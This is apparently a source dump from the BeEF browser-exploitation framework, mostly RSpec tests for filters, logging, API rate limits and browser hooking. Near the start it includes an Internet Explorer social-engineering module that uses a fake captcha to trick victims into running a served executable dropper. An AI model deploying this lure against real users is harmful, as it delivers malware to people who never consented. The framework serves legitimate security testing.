    '; }; }else{ // unsupported IE version } } }); ================================================ FILE: modules/social_engineering/ui_abuse_ie/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: ui_abuse_ie: enable: true category: "Social Engineering" name: "User Interface Abuse (IE 9/10)" description: "This module is based on Rosario Valotta research (https://sites.google.com/site/tentacoloviola/).
    The executable to be run needs to be signed (best thing is signing it with Symantec EV-SSL) and me served same-origin from BeEF. You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt.
    The victim is tricked to press [TAB]+R (IE 9) or simply R (IE 10), which are keyboard shortcuts for the modeless dialog option 'Run'. Depending on the browser language, the modeless dialog shortcuts are different. For example, R for English, E for Italian. In order to achieve such behavior, a fake captcha is displayed." authors: ["Rosario Valotta", "antisnatchor"] target: working: ["IE"] not_working: ["ALL"] ================================================ FILE: modules/social_engineering/ui_abuse_ie/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # ################################################################################ # Based on the PoC by Rosario Valotta # Ported to BeEF by antisnatchor # For more information see: https://sites.google.com/site/tentacoloviola/ ################################################################################ class Ui_abuse_ie < BeEF::Core::Command def self.options [ { 'name' => 'exe_url', 'ui_label' => 'Executable URL (MUST be signed)', 'value' => 'http://beef_server:beef_port/yourdropper.exe' } ] end def pre_send @datastore.each do |input| @exe_url = input['value'] if input['name'] == 'exe_url' end popunder = File.read("#{$root_dir}/modules/social_engineering/ui_abuse_ie/popunder.html") body = popunder.gsub('__URL_PLACEHOLDER__', @exe_url) BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200', { 'Content-Type' => 'text/html' }, body, '/underpop.html', -1) rescue StandardError => e print_error "Something went wrong executing Ui_abuse_ie::pre_send, exception: #{e.message}" end def post_execute content = {} content['results'] = @datastore['results'] save content end end ================================================ FILE: modules/social_engineering/ui_abuse_ie/popunder.html ================================================ ================================================ FILE: package.json ================================================ { "name": "BeEF", "version": "0.6.0.0", "description": "The Browser Exploitation Framework Project", "scripts": { "docs": "./node_modules/.bin/jsdoc -c conf.json" }, "author": "Wade Alcorn", "license": "GNU General Public License v2.0", "devDependencies": { "jsdoc": "^4.0.5", "jsdoc-to-markdown": "^9.1.3" }, "dependencies": {} } ================================================ FILE: spec/beef/api/auth_rate_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe 'BeEF API Rate Limit', run_on_long_tests: true do before(:each) do @pid = start_beef_server_and_wait @username = @config.get('beef.credentials.user') @password = @config.get('beef.credentials.passwd') end after(:each) do # Shutting down server Process.kill("KILL", @pid) unless @pid.nil? Process.wait(@pid) unless @pid.nil? # Ensure the process has exited and the port is released @pid = nil end it 'confirm correct creds are successful' do test_api = BeefRestClient.new('http', ATTACK_DOMAIN, '3000', @username, @password) expect(@config.get('beef.credentials.user')).to eq('beef') expect(@config.get('beef.credentials.passwd')).to eq('beef') expect(test_api.auth()[:payload]).not_to eql("401 Unauthorized") expect(test_api.auth()[:payload]["success"]).to be(true) # valid pass should succeed end it 'confirm incorrect creds are unsuccessful' do sleep 0.5 test_api = BeefRestClient.new('http', ATTACK_DOMAIN, '3000', @username, "wrong_passowrd") expect(test_api.auth()[:payload]).to eql("401 Unauthorized") # all (unless the valid is first 1 in 10 chance) end it 'adheres to 9 bad passwords then 1 correct auth rate limits' do # create api structures with bad passwords and one good passwds = (1..9).map { |i| "bad_password"} # incorrect password passwds.push @password # correct password apis = passwds.map { |pswd| BeefRestClient.new('http', ATTACK_DOMAIN, '3000', @username, pswd) } (0..apis.length-1).each do |i| test_api = apis[i] expect(test_api.auth()[:payload]).to eql("401 Unauthorized") # all (unless the valid is first 1 in 10 chance) end end it 'adheres to random bad passords and 1 correct auth rate limits' do # create api structures with bad passwords and one good passwds = (1..9).map { |i| "bad_password"} # incorrect password passwds.push @password # correct password apis = passwds.map { |pswd| BeefRestClient.new('http', ATTACK_DOMAIN, '3000', @username, pswd) } apis.shuffle! # random order for next iteration apis = apis.reverse if (apis[0].is_pass?(@password)) # prevent the first from having valid passwd (0..apis.length-1).each do |i| test_api = apis[i] if (test_api.is_pass?(@password)) sleep 0.5 expect(@config.get('beef.credentials.user')).to eq('beef') expect(@config.get('beef.credentials.passwd')).to eq('beef') expect(test_api.auth()[:payload]).not_to eql("401 Unauthorized") expect(test_api.auth()[:payload]["success"]).to be(true) # valid pass should succeed else expect(test_api.auth()[:payload]).to eql("401 Unauthorized") end end end end ================================================ FILE: spec/beef/core/extension_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Extension do let(:config) { BeEF::Core::Configuration.instance } describe '.is_present' do it 'returns true when extension exists in configuration' do allow(config).to receive(:get).with('beef.extension').and_return({ 'test_ext' => {} }) expect(described_class.is_present('test_ext')).to be true end it 'returns false when extension does not exist' do allow(config).to receive(:get).with('beef.extension').and_return({}) expect(described_class.is_present('nonexistent')).to be false end it 'converts extension key to string' do allow(config).to receive(:get).with('beef.extension').and_return({ 'test_ext' => {} }) expect(described_class.is_present(:test_ext)).to be true end end describe '.is_enabled' do it 'returns true when extension is present and enabled' do allow(config).to receive(:get).with('beef.extension').and_return({ 'test_ext' => {} }) allow(config).to receive(:get).with('beef.extension.test_ext.enable').and_return(true) expect(described_class.is_enabled('test_ext')).to be true end it 'returns false when extension is not present' do allow(config).to receive(:get).with('beef.extension').and_return({}) expect(described_class.is_enabled('nonexistent')).to be false end it 'returns false when extension is disabled' do allow(config).to receive(:get).with('beef.extension').and_return({ 'test_ext' => {} }) allow(config).to receive(:get).with('beef.extension.test_ext.enable').and_return(false) expect(described_class.is_enabled('test_ext')).to be false end end describe '.is_loaded' do it 'returns true when extension is enabled and loaded' do allow(config).to receive(:get).with('beef.extension').and_return({ 'test_ext' => {} }) allow(config).to receive(:get).with('beef.extension.test_ext.enable').and_return(true) allow(config).to receive(:get).with('beef.extension.test_ext.loaded').and_return(true) expect(described_class.is_loaded('test_ext')).to be true end it 'returns false when extension is not enabled' do allow(config).to receive(:get).with('beef.extension').and_return({ 'test_ext' => {} }) allow(config).to receive(:get).with('beef.extension.test_ext.enable').and_return(false) expect(described_class.is_loaded('test_ext')).to be false end it 'returns false when extension is not loaded' do allow(config).to receive(:get).with('beef.extension').and_return({ 'test_ext' => {} }) allow(config).to receive(:get).with('beef.extension.test_ext.enable').and_return(true) allow(config).to receive(:get).with('beef.extension.test_ext.loaded').and_return(false) expect(described_class.is_loaded('test_ext')).to be false end end describe '.load' do it 'returns true when extension file exists' do ext_path = "#{$root_dir}/extensions/test_ext/extension.rb" allow(File).to receive(:exist?).with(ext_path).and_return(true) allow(config).to receive(:set).with('beef.extension.test_ext.loaded', true).and_return(true) # Stub require on the module itself since it's called directly allow(described_class).to receive(:require).with(ext_path) expect(described_class.load('test_ext')).to be true end it 'returns false when extension file does not exist' do ext_path = "#{$root_dir}/extensions/test_ext/extension.rb" allow(File).to receive(:exist?).with(ext_path).and_return(false) expect(described_class.load('test_ext')).to be false end it 'sets loaded flag to true when successfully loaded' do ext_path = "#{$root_dir}/extensions/test_ext/extension.rb" allow(File).to receive(:exist?).with(ext_path).and_return(true) allow(described_class).to receive(:require).with(ext_path) expect(config).to receive(:set).with('beef.extension.test_ext.loaded', true).and_return(true) described_class.load('test_ext') end it 'handles errors during loading gracefully' do ext_path = "#{$root_dir}/extensions/test_ext/extension.rb" allow(File).to receive(:exist?).with(ext_path).and_return(true) allow(described_class).to receive(:require).with(ext_path).and_raise(StandardError.new('Load error')) # The rescue block calls print_more which may return a value, so just verify it doesn't raise expect { described_class.load('test_ext') }.not_to raise_error end end end ================================================ FILE: spec/beef/core/extensions_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe 'BeEF Extensions' do it 'loaded successfully' do expect { BeEF::Extensions.load }.to_not raise_error exts = BeEF::Core::Configuration.instance.get('beef.extension').select{|k,v| v['enable'] } expect(exts.length).to be > 0 exts.each do |k,v| expect(v).to have_key('name') expect(v).to have_key('enable') expect(v).to have_key('loaded') expect(v['loaded']).to be(true) end end end ================================================ FILE: spec/beef/core/filter/base_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Filters do describe '.is_non_empty_string?' do it 'nil' do expect(BeEF::Filters.is_non_empty_string?(nil)).to be(false) end it 'Integer' do expect(BeEF::Filters.is_non_empty_string?(1)).to be(false) end it 'Empty String' do expect(BeEF::Filters.is_non_empty_string?('')).to be(false) end it 'null' do expect(BeEF::Filters.is_non_empty_string?("\x00")).to be(true) end it 'First char is num' do expect(BeEF::Filters.is_non_empty_string?('0')).to be(true) end it 'First char is alpha' do expect(BeEF::Filters.is_non_empty_string?('A')).to be(true) end it 'Four num chars' do expect(BeEF::Filters.is_non_empty_string?('3333')).to be(true) end it 'Four num chars begining with alpha' do expect(BeEF::Filters.is_non_empty_string?('A3333')).to be(true) end it 'Four num chars begining with null' do expect(BeEF::Filters.is_non_empty_string?("\x003333")).to be(true) end end describe '.only?' do it 'success' do expect(BeEF::Filters.only?('A', 'A')).to be(true) end it 'fail' do expect(BeEF::Filters.only?('A', 'B')).to be(false) end end describe '.exists?' do it 'success' do expect(BeEF::Filters.exists?('A', 'A')).to be(true) end it 'fail' do expect(BeEF::Filters.exists?('A', 'B')).to be(false) end end describe '.has_null?' do context 'false with' do it 'general' do chars = [nil, '', "\x01", "\xFF", 'A', 'A3333', '0', '}', '.', '+', '-', '-1', '0.A', '3333', '33 33', ' AAAAA', 'AAAAAA '] chars.each do |c| expect(BeEF::Filters.has_null?(c)).to be(false) end end it 'alphabet' do (1..255).each do |c| str = '' str.concat(c) expect(BeEF::Filters.has_null?(str)).to be(false) end end end context 'true with' do it 'general' do chars = ["\x00", "A\x00", "AAAAAA\x00", "\x00A", "\x00AAAAAAAA", "A\x00A", "AAAAA\x00AAAA", "A\n\r\x00", "\x00\n\rA", "A\n\r\x00\n\rA", "\tA\x00A"] chars.each do |c| expect(BeEF::Filters.has_null?(c)).to be(true) end end it 'alphabet null after' do (1..255).each do |c| str = '' str.concat(c) str += "\x00" expect(BeEF::Filters.has_null?(str)).to be(true) end end it 'alphabet null before' do (1..255).each do |c| str = "\x00" str.concat(c) expect(BeEF::Filters.has_null?(str)).to be(true) end end end end describe '.has_non_printable_char?' do context 'false with' do it 'general' do chars = [nil, '', 'A', 'A3333', '0', '}', '.', '+', '-', '-1', '0.A', '3333', ' 0AAAAA', ' 0AAA '] chars.each do |c| expect(BeEF::Filters.has_non_printable_char?(c)).to be(false) end end it 'lowercase' do ('a'..'z').each do |c| expect(BeEF::Filters.has_non_printable_char?(c)).to be(false) end end it 'uppercase' do ('A'..'Z').each do |c| expect(BeEF::Filters.has_non_printable_char?(c)).to be(false) end end it 'numbers' do ('0'..'9').each do |c| expect(BeEF::Filters.has_non_printable_char?(c)).to be(false) end end end context 'true with' do it 'general' do chars = ["\x00", "\x01", "\x02", "A\x03", "\x04A", "\x0033333", "\x00AAAAAA", " AAAAA\x00", "\t\x00AAAAA", "\n\x00AAAAA", "\n\r\x00AAAAAAAAA", "AAAAAAA\x00AAAAAAA", "\n\x00"] chars.each do |c| expect(BeEF::Filters.has_non_printable_char?(c)).to be(true) end end it 'alphabet null before' do (1..255).each do |c| str = '' str.concat(c) str += "\x00" expect(BeEF::Filters.has_non_printable_char?(str)).to be(true) end end end end describe '.nums_only?' do it 'false with general' do chars = [nil, 1, '', 'A', 'A3333', "\x003333", '}', '.', '+', '-', '-1'] chars.each do |c| expect(BeEF::Filters.nums_only?(c)).to be(false) end end it 'true with general' do chars = %w[0 333] chars.each do |c| expect(BeEF::Filters.nums_only?(c)).to be(true) end end end describe '.is_valid_float?' do it 'false with general' do chars = [nil, 1, '', 'A', 'A3333', "\x003333", '}', '.', '+', '-', '-1', '0', '333', '0.A'] chars.each do |c| expect(BeEF::Filters.is_valid_float?(c)).to be(false) end end it 'true with general' do chars = ['33.33', '0.0', '1.0', '0.1'] chars.each do |c| expect(BeEF::Filters.is_valid_float?(c)).to be(true) end end end describe '.hexs_only?' do it 'false with general' do chars = [nil, 1, '', "\x003333", '}', '.', '+', '-', '-1', '0.A', '33.33', '0.0', '1.0', '0.1'] chars.each do |c| expect(BeEF::Filters.hexs_only?(c)).to be(false) end end it 'true with general' do chars = %w[0123456789ABCDEFabcdef 0 333 A33333 A] chars.each do |c| expect(BeEF::Filters.hexs_only?(c)).to be(true) end end end describe '.first_char_is_num?' do it 'false with general' do chars = ['', 'A', 'A33333', "\x0033333"] chars.each do |c| expect(BeEF::Filters.first_char_is_num?(c)).to be(false) end end it 'true with general' do chars = %w[333 0AAAAAA 0] chars.each do |c| expect(BeEF::Filters.first_char_is_num?(c)).to be(true) end end end describe '.has_whitespace_char?' do it 'false with general' do chars = ['', 'A', 'A33333', "\x0033333", '0', '}', '.', '+', '-', '-1', '0.A'] chars.each do |c| expect(BeEF::Filters.has_whitespace_char?(c)).to be(false) end end it 'true with general' do chars = ['33 33', ' ', ' ', ' 0AAAAAAA', ' 0AAAAAAA ', "\t0AAAAAAA", "\n0AAAAAAAA"] chars.each do |c| expect(BeEF::Filters.has_whitespace_char?(c)).to be(true) end end end describe '.alphanums_only?' do context 'false with' do it 'general' do chars = [nil, '', "\n", "\r", "\x01", '}', '.', '+', '-', '-1', 'ee-!@$%^&*}=0.A', '33 33', ' AAAA', 'AAA '] chars.each do |c| expect(BeEF::Filters.alphanums_only?(c)).to be(false) end end it 'additional nulls' do chars = ["\x00", "A\x00", "AAAAAAAAA\x00", "\x00A", "\x00AAAAAAAAA", "A\x00A", "AAAAAAAA\x00AAAAAAAA", "A\n\r\x00", "\x00\n\rA", "A\n\r\x00\n\rA", "\tA\x00A"] chars.each do |c| expect(BeEF::Filters.alphanums_only?(c)).to be(false) end end it 'alphabet null after' do (1..255).each do |c| str = '' str.concat(c) str += "\x00" expect(BeEF::Filters.alphanums_only?(str)).to be(false) end end it 'alphabet null before' do (1..255).each do |c| str = "\x00" str.concat(c) expect(BeEF::Filters.alphanums_only?(str)).to be(false) end end it 'alphabet around null' do (1..255).each do |c| str = '' str.concat(c) str += "\x00" str.concat(c) expect(BeEF::Filters.alphanums_only?(str)).to be(false) end end end context 'true with' do it 'general' do chars = %w[A A3333 0 3333] chars.each do |c| expect(BeEF::Filters.alphanums_only?(c)).to be(true) end end it 'uppercase' do ('A'..'Z').each do |c| expect(BeEF::Filters.alphanums_only?(c)).to be(true) end end it 'lowercase' do ('a'..'z').each do |c| expect(BeEF::Filters.alphanums_only?(c)).to be(true) end end it 'numbers' do ('0'..'9').each do |c| expect(BeEF::Filters.alphanums_only?(c)).to be(true) end end end end end ================================================ FILE: spec/beef/core/filter/browser_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Filters do describe '.is_valid_browsername?' do it 'validates browser names' do expect(BeEF::Filters.is_valid_browsername?('FF')).to be(true) expect(BeEF::Filters.is_valid_browsername?('IE')).to be(true) expect(BeEF::Filters.is_valid_browsername?('CH')).to be(true) expect(BeEF::Filters.is_valid_browsername?('TOOLONG')).to be(false) expect(BeEF::Filters.is_valid_browsername?('')).to be(false) end end describe '.is_valid_osname?' do it 'validates OS names' do expect(BeEF::Filters.is_valid_osname?('Windows XP')).to be(true) expect(BeEF::Filters.is_valid_osname?('A')).to be(false) # too short expect(BeEF::Filters.is_valid_osname?('')).to be(false) end end describe '.is_valid_hwname?' do it 'validates hardware names' do expect(BeEF::Filters.is_valid_hwname?('iPhone')).to be(true) expect(BeEF::Filters.is_valid_hwname?('A')).to be(false) # too short expect(BeEF::Filters.is_valid_hwname?('')).to be(false) end end describe '.is_valid_browserversion?' do it 'validates browser versions' do expect(BeEF::Filters.is_valid_browserversion?('1.0')).to be(true) expect(BeEF::Filters.is_valid_browserversion?('1.2.3.4')).to be(true) expect(BeEF::Filters.is_valid_browserversion?('UNKNOWN')).to be(true) expect(BeEF::Filters.is_valid_browserversion?('ALL')).to be(true) expect(BeEF::Filters.is_valid_browserversion?('invalid')).to be(false) end end describe '.is_valid_osversion?' do it 'validates OS versions' do expect(BeEF::Filters.is_valid_osversion?('10.0')).to be(true) expect(BeEF::Filters.is_valid_osversion?('UNKNOWN')).to be(true) expect(BeEF::Filters.is_valid_osversion?('ALL')).to be(true) expect(BeEF::Filters.is_valid_osversion?('invalid!')).to be(false) end end describe '.is_valid_browserstring?' do it 'validates browser/UA strings' do expect(BeEF::Filters.is_valid_browserstring?('Mozilla/5.0')).to be(true) expect(BeEF::Filters.is_valid_browserstring?('A' * 300)).to be(true) expect(BeEF::Filters.is_valid_browserstring?('A' * 301)).to be(false) end end describe '.is_valid_cookies?' do it 'validates cookie strings' do expect(BeEF::Filters.is_valid_cookies?('session=abc123')).to be(true) expect(BeEF::Filters.is_valid_cookies?('A' * 2000)).to be(true) expect(BeEF::Filters.is_valid_cookies?('A' * 2001)).to be(false) end end describe '.is_valid_browser_plugins?' do it 'validates browser plugin strings' do expect(BeEF::Filters.is_valid_browser_plugins?('Flash, Java')).to be(true) expect(BeEF::Filters.is_valid_browser_plugins?('A' * 1000)).to be(true) expect(BeEF::Filters.is_valid_browser_plugins?('A' * 1001)).to be(false) end end end ================================================ FILE: spec/beef/core/filter/command_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Filters do describe '.is_valid_path_info?' do it 'validates path info' do expect(BeEF::Filters.is_valid_path_info?('/path/to/resource')).to be(true) expect(BeEF::Filters.is_valid_path_info?("\x00")).to be(false) expect(BeEF::Filters.is_valid_path_info?(nil)).to be(false) end end describe '.is_valid_hook_session_id?' do it 'validates hook session IDs' do expect(BeEF::Filters.is_valid_hook_session_id?('abc123')).to be(true) expect(BeEF::Filters.is_valid_hook_session_id?('')).to be(false) expect(BeEF::Filters.is_valid_hook_session_id?(nil)).to be(false) end end describe '.is_valid_command_module_datastore_key?' do it 'validates datastore keys' do expect(BeEF::Filters.is_valid_command_module_datastore_key?('test_key')).to be(true) expect(BeEF::Filters.is_valid_command_module_datastore_key?('')).to be(false) end end describe '.is_valid_command_module_datastore_param?' do it 'validates datastore params' do expect(BeEF::Filters.is_valid_command_module_datastore_param?('test_value')).to be(true) expect(BeEF::Filters.is_valid_command_module_datastore_param?("\x00")).to be(false) end end describe '.has_valid_key_chars?' do it 'validates key characters' do expect(BeEF::Filters.has_valid_key_chars?('test_key')).to be(true) expect(BeEF::Filters.has_valid_key_chars?('')).to be(false) end end describe '.has_valid_param_chars?' do it 'false' do chars = [nil, '', '+'] chars.each do |c| expect(BeEF::Filters.has_valid_param_chars?(c)).to be(false) end end it 'true' do expect(BeEF::Filters.has_valid_param_chars?('A')).to be(true) end end end ================================================ FILE: spec/beef/core/filter/http_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Filters do describe '.is_valid_hostname?' do it 'validates hostnames correctly' do expect(BeEF::Filters.is_valid_hostname?('example.com')).to be(true) expect(BeEF::Filters.is_valid_hostname?('sub.example.com')).to be(true) expect(BeEF::Filters.is_valid_hostname?('a' * 256)).to be(false) # too long expect(BeEF::Filters.is_valid_hostname?('')).to be(false) expect(BeEF::Filters.is_valid_hostname?(nil)).to be(false) end end describe '.is_valid_verb?' do it 'validates HTTP verbs' do %w[HEAD GET POST OPTIONS PUT DELETE].each do |verb| expect(BeEF::Filters.is_valid_verb?(verb)).to be(true) end expect(BeEF::Filters.is_valid_verb?('INVALID')).to be(false) end end describe '.is_valid_url?' do it 'validates URLs' do expect(BeEF::Filters.is_valid_url?(nil)).to be(false) expect(BeEF::Filters.is_valid_url?('http://example.com')).to be(true) end end describe '.is_valid_http_version?' do it 'validates HTTP versions' do expect(BeEF::Filters.is_valid_http_version?('HTTP/1.0')).to be(true) expect(BeEF::Filters.is_valid_http_version?('HTTP/1.1')).to be(true) expect(BeEF::Filters.is_valid_http_version?('HTTP/2.0')).to be(false) end end describe '.is_valid_host_str?' do it 'validates host header strings' do expect(BeEF::Filters.is_valid_host_str?('Host:')).to be(true) host_str = "Host:\r".dup expect(BeEF::Filters.is_valid_host_str?(host_str)).to be(true) expect(BeEF::Filters.is_valid_host_str?('Invalid')).to be(false) end end end ================================================ FILE: spec/beef/core/filter/page_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Filters do describe '.is_valid_pagetitle?' do it 'validates page titles' do expect(BeEF::Filters.is_valid_pagetitle?('Test Page')).to be(true) expect(BeEF::Filters.is_valid_pagetitle?('A' * 500)).to be(true) expect(BeEF::Filters.is_valid_pagetitle?('A' * 501)).to be(false) expect(BeEF::Filters.is_valid_pagetitle?("\x00")).to be(false) end end describe '.is_valid_pagereferrer?' do it 'validates page referrers' do expect(BeEF::Filters.is_valid_pagereferrer?('http://example.com')).to be(true) expect(BeEF::Filters.is_valid_pagereferrer?('A' * 350)).to be(true) expect(BeEF::Filters.is_valid_pagereferrer?('A' * 351)).to be(false) end end end ================================================ FILE: spec/beef/core/logger_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'spec_helper' require 'fileutils' RSpec.describe 'BeEF Logger' do let(:home_dir) { $home_dir } # rubocop:disable Style/GlobalVars let(:expected_log_path) { File.join(home_dir, 'beef.log') } before(:each) do # Reset the logger to ensure clean state BeEF.logger = nil end after(:each) do # Clean up any log files created during tests FileUtils.rm_f(expected_log_path) BeEF.logger = nil end describe '.logger' do it 'returns a Logger instance' do expect(BeEF.logger).to be_a(Logger) end it 'creates logger with correct file path' do logger = BeEF.logger expect(logger.instance_variable_get(:@logdev).dev.path).to eq(expected_log_path) end it 'sets the progname to BeEF' do logger = BeEF.logger expect(logger.progname).to eq('BeEF') end it 'sets the log level to WARN' do logger = BeEF.logger expect(logger.level).to eq(Logger::WARN) end it 'returns the same logger instance on subsequent calls' do logger1 = BeEF.logger logger2 = BeEF.logger expect(logger1).to be(logger2) end it 'creates the log file when logger is accessed' do # Ensure file doesn't exist initially FileUtils.rm_f(expected_log_path) BeEF.logger expect(File.exist?(expected_log_path)).to be(true) end end describe '.logger=' do it 'allows setting a custom logger' do custom_logger = Logger.new($stdout) BeEF.logger = custom_logger expect(BeEF.logger).to be(custom_logger) end it 'uses the custom logger instead of creating a new one' do custom_logger = Logger.new($stdout) custom_logger.level = Logger::DEBUG BeEF.logger = custom_logger expect(BeEF.logger.level).to eq(Logger::DEBUG) expect(BeEF.logger).to be(custom_logger) end it 'allows resetting logger to nil' do BeEF.logger = nil expect(BeEF.instance_variable_get(:@logger)).to be_nil end it 'creates a new logger after being set to nil' do original_logger = BeEF.logger BeEF.logger = nil new_logger = BeEF.logger expect(new_logger).to be_a(Logger) expect(new_logger).not_to be(original_logger) end end describe 'logger functionality' do it 'can log messages at WARN level' do logger = BeEF.logger expect { logger.warn('Test warning message') }.not_to raise_error end it 'can log messages at ERROR level' do logger = BeEF.logger expect { logger.error('Test error message') }.not_to raise_error end it 'does not log messages below WARN level by default' do logger = BeEF.logger # INFO and DEBUG messages should not be logged at WARN level expect(logger.info?).to be(false) expect(logger.debug?).to be(false) end it 'logs messages at WARN level and above' do logger = BeEF.logger expect(logger.warn?).to be(true) expect(logger.error?).to be(true) expect(logger.fatal?).to be(true) end end end ================================================ FILE: spec/beef/core/main/autorun_engine/autorun_engine_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'rest-client' require 'json' require_relative '../../../../spec_helper' require_relative '../../../../support/constants' require_relative '../../../../support/beef_test' RSpec.describe 'AutoRunEngine Test', run_on_browserstack: true do before(:all) do @__ar_config_snapshot = SpecActiveRecordConnection.snapshot @config = BeEF::Core::Configuration.instance # Grab DB file and regenerate if requested print_info 'Loading database' db_file = @config.get('beef.database.file') print_info 'Resetting the database for BeEF.' if ENV['RESET_DB'] File.delete(db_file) if File.exist?(db_file) end @config.set('beef.credentials.user', 'beef') @config.set('beef.credentials.passwd', 'beef') @username = @config.get('beef.credentials.user') @password = @config.get('beef.credentials.passwd') # Load BeEF extensions and modules # Always load Extensions, as previous changes to the config from other tests may affect # whether or not this test passes. print_info 'Loading in BeEF::Extensions' BeEF::Extensions.load # Check if modules already loaded. No need to reload. if @config.get('beef.module').nil? print_info 'Loading in BeEF::Modules' BeEF::Modules.load else print_info 'Modules already loaded' end # Load up DB and migrate if necessary ActiveRecord::Base.logger = nil OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file) # otr-activerecord require you to manually establish the connection with the following line #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') OTR::ActiveRecord.establish_connection! end ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] MUTEX.synchronize do context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) if context.needs_migration? ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate end end BeEF::Core::Migration.instance.update_db! # add AutoRunEngine rule test_rule = { 'name' => 'Display an alert', 'author' => 'mgeeky', 'browser' => 'ALL', 'browser_version' => 'ALL', 'os' => 'ALL', 'os_version' => 'ALL', 'modules' => [{ 'name' => 'alert_dialog', 'condition' => nil, 'options' => { 'text' => "You've been BeEFed ;>" } }], 'execution_order' => [0], 'execution_delay' => [0], 'chain_mode' => 'sequential' } BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory # are_engine.R # Spawn HTTP Server print_info 'Starting HTTP Hook Server' http_hook_server = BeEF::Core::Server.instance # Generate a token for the server to respond with @token = BeEF::Core::Crypto.api_token # ***** IMPORTANT: close any and all AR/OTR connections before forking ***** disconnect_all_active_record! # Initiate server start-up @pid = fork do http_hook_server.prepare BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) http_hook_server.start end begin @caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID]) @caps['name'] = self.class.description || ENV['name'] || 'no-name' @caps['browserstack.local'] = true @caps['browserstack.localIdentifier'] = ENV['BROWSERSTACK_LOCAL_IDENTIFIER'] @driver = Selenium::WebDriver.for(:remote, url: "http://#{CONFIG['user']}:#{CONFIG['key']}@#{CONFIG['server']}/wd/hub", options: @caps) # Hook new victim print_info 'Hooking a new victim, waiting a few seconds...' wait = Selenium::WebDriver::Wait.new(timeout: 30) # seconds @driver.navigate.to VICTIM_URL.to_s sleep 1 sleep 1 until wait.until { @driver.execute_script('return window.beef.session.get_hook_session_id().length') > 0 } @session = @driver.execute_script('return window.beef.session.get_hook_session_id()') end end after(:all) do server_teardown(@driver, @pid, @pids) disconnect_all_active_record! SpecActiveRecordConnection.restore!(@__ar_config_snapshot) end it 'AutoRunEngine is working' do expect(@session).not_to be_nil end end ================================================ FILE: spec/beef/core/main/command_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe BeEF::Core::Command do let(:config) { BeEF::Core::Configuration.instance } before do # Ensure modules are loaded BeEF::Modules.load if config.get('beef.module').nil? # Set up a test module configuration if it doesn't exist unless config.get('beef.module.test_get_variable') config.set('beef.module.test_get_variable.name', 'Test Get Variable') config.set('beef.module.test_get_variable.path', 'modules/test/') config.set('beef.module.test_get_variable.mount', '/command/test_get_variable.js') config.set('beef.module.test_get_variable.db.id', 1) end end describe BeEF::Core::CommandUtils do describe '#format_multiline' do it 'converts newlines to escaped newlines' do result = BeEF::Core::CommandUtils.instance_method(:format_multiline).bind(Object.new).call("line1\nline2") expect(result).to eq("line1\\nline2") end it 'handles strings without newlines' do result = BeEF::Core::CommandUtils.instance_method(:format_multiline).bind(Object.new).call("single line") expect(result).to eq("single line") end end end describe BeEF::Core::CommandContext do it 'initializes with hash' do context = described_class.new({ 'key' => 'value' }) expect(context['key']).to eq('value') end it 'initializes without hash' do context = described_class.new expect(context).to be_a(Erubis::Context) end it 'includes CommandUtils' do context = described_class.new expect(context).to respond_to(:format_multiline) end end describe '#initialize' do it 'initializes with module key' do command = described_class.new('test_get_variable') expect(command.config).to eq(config) expect(command.datastore).to eq({}) expect(command.beefjs_components).to eq({}) end it 'sets friendlyname from configuration' do # Mock all config calls for initialization allow(config).to receive(:get).and_call_original allow(config).to receive(:get).with('beef.module.test_get_variable.name').and_return('Test Get Variable') allow(config).to 